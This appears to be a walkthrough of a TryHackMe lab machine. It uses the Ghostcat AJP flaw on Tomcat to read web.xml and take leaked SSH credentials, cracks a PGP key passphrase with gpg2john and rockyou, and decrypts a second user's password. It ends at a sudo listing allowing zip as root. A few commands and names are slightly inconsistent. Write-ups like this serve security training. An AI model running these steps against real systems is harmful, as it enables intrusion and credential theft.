22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
There's Apache Tomcat running on port 8080 so, let’s focus on the web part. Interestingly, AJP runs on port 8009
Now let's just find some publicly available exploits for the both Tomcat server and Jserv
There are serveral exploits available but we can choose the manual one which is written in python ( msfconsole isn't available in OSCP )
Let’s access the deployment description, located in /WEB-INF/web.xml
$ python3 exploit.py read /WEB-INF/web.xml 10.10.159.44
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<display-name>Welcome to Tomcat</display-name>
<description>
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
</web-app>
Now we have valid credentials skyler:8730281lkjlkjdqlksalks - Let's now SSH
$ skyfuck@ubuntu:~$ ll
total 44
drwxr-xr-x 4 skyfuck skyfuck 4096 May 13 00:59 ./
drwxr-xr-x 4 root root 4096 Mar 10 21:58 ../
-rw------- 1 skyfuck skyfuck 136 Mar 10 22:45 .bash_history
-rw-r--r-- 1 skyfuck skyfuck 220 Mar 10 21:58 .bash_logout
-rw-r--r-- 1 skyfuck skyfuck 3771 Mar 10 21:58 .bashrc
drwx------ 2 skyfuck skyfuck 4096 May 13 00:58 .cache/
-rw-rw-r-- 1 skyfuck skyfuck 394 Mar 10 22:09 credential.pgp
drwx------ 2 skyfuck skyfuck 4096 May 13 01:00 .gnupg/
-rw-r--r-- 1 skyfuck skyfuck 655 Mar 10 21:58 .profile
-rw-rw-r-- 1 skyfuck skyfuck 5144 Mar 10 22:10 tryhackme.asc
No user flag? Hmm Interesting - But what's more Interesting is tryhackme.asc and credential.pgp
Let's check if there any other users in the system
$ skyfuck@ubuntu:~$ cd /home/
$ skyfuck@ubuntu:/home$ ll
total 16
drwxr-xr-x 4 root root 4096 Mar 10 21:58 ./
drwxr-xr-x 22 root root 4096 Mar 10 18:09 ../
drwxr-xr-x 4 merlin merlin 4096 Mar 10 22:58 merlin/
drwxr-xr-x 4 skyfuck skyfuck 4096 May 13 00:59 skyfuck/
$ skyfuck@ubuntu:/home$ cd merlin/
$ skyfuck@ubuntu:/home/merlin$ ll
total 36
drwxr-xr-x 4 merlin merlin 4096 Mar 10 22:58 ./
drwxr-xr-x 4 root root 4096 Mar 10 21:58 ../
-rw------- 1 root root 2090 Mar 10 22:54 .bash_history
-rw-r--r-- 1 merlin merlin 220 Mar 10 17:57 .bash_logout
-rw-r--r-- 1 merlin merlin 3771 Mar 10 17:57 .bashrc
drwx------ 2 merlin merlin 4096 Mar 10 17:59 .cache/
drwxrwxr-x 2 merlin merlin 4096 Mar 10 22:01 .nano/
-rw-r--r-- 1 merlin merlin 655 Mar 10 17:57 .profile
-rw-r--r-- 1 merlin merlin 0 Mar 10 17:59 .sudo_as_admin_successful
-rw-rw-r-- 1 merlin merlin 26 Mar 10 22:01 user.txt
Okay so now we've found the user flag - Let's analyze those two files in skyler's home directory :)
Privilege Escalation
credentials.pgp - means pretty good privacy (.pgp) let's see how good the privacy is !
$ skyfuck@ubuntu:~$ gpg --decrypt credential.pgp
gpg: directory `/home/skyfuck/.gnupg' created
gpg: new configuration file `/home/skyfuck/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/skyfuck/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created
gpg: keyring `/home/skyfuck/.gnupg/pubring.gpg' created
gpg: encrypted with ELG-E key, ID 6184FBCC
gpg: decryption failed: secret key not available
skyfuck@ubuntu:~$ gpg --import tryhackme.asc
gpg: key C6707170: secret key imported
gpg: /home/skyfuck/.gnupg/trustdb.gpg: trustdb created
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg: imported: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
$ skyfuck@ubuntu:~$ gpg --decrypt credential.pgp
You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)
gpg: gpg-agent is not available in this session
gpg: Invalid passphrase; please try again ...
You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)
Enter passphrase:
gpg: Interrupt caught ... exiting
Maybe the passphrase is stored in tryhackme.asc - Let's transfer it to our local machine and crack it using john
$ gpg2john tryhackme.asc > gpg.hash
$ gpg.hash --wordlist=/data/src/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru (tryhackme)
1g 0:00:00:00 DONE (2020-05-13 13:12) 7.142g/s 7657p/s 7657c/s 7657C/s marshall..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Back to the server, import the key if not done already (gpg --import tryhackme.asc) and decrypt the message
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp
You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)
gpg: gpg-agent is not available in this session
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
"tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
Let's now login as the merlin user
skyfuck@ubuntu:~$ su - merlin
Password:
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
